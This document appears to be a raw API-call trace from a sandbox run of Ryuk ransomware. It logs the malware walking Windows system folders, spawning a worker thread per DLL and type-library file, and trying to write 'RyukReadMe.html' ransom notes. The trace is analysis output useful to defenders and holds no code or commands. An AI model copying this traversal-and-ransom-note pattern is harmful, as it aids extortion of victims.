	[0175.468] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0175.469] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.469] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x70, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0175.469] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x70, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0
	[0175.469] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0175.469] SetLastError (dwErrCode=0x0) 
	[0175.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.470] GetLastError () returned 0x5
	[0175.470] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.470] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.470] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0175.470] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0175.470] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0175.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0
	[0175.473] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.474] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0175.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4
	[0175.476] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.476] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0175.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8
	[0175.478] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.479] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0175.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac
	[0175.482] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.483] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0175.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0
	[0175.485] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.486] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0175.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4
	[0175.488] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.489] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0175.489] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0175.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8
	[0175.492] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.492] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0175.492] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0175.492] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
	[0175.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc
	[0175.495] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.495] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0175.495] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0
	[0175.495] FindClose (in: hFindFile=0x7c750 | out: hFindFile=0x7c750) returned 1
	[0175.496] SetLastError (dwErrCode=0x0) 
	[0175.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.496] GetLastError () returned 0x5
	[0175.496] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.496] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x5a, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0175.496] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0175.497] SetLastError (dwErrCode=0x0) 
	[0175.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.497] GetLastError () returned 0x5
	[0175.497] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.497] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c750
	[0175.498] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.498] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x68, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0175.498] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x68, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0
	[0175.498] FindClose (in: hFindFile=0x7c750 | out: hFindFile=0x7c750) returned 1
	[0175.498] SetLastError (dwErrCode=0x0) 
	[0175.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.499] GetLastError () returned 0x5
	[0175.499] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.499] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1
	[0175.499] SetLastError (dwErrCode=0x0) 
	[0175.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.499] GetLastError () returned 0x5
	[0175.499] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0176.431] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.432] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x68, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0176.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0176.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4
	[0176.435] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.435] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x68, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0176.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0176.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8
	[0176.438] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.439] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0176.439] SetLastError (dwErrCode=0x0) 
	[0176.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.440] GetLastError () returned 0x5
	[0176.440] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0176.440] CloseHandle (hObject=0xffffffffffffffff) returned 0
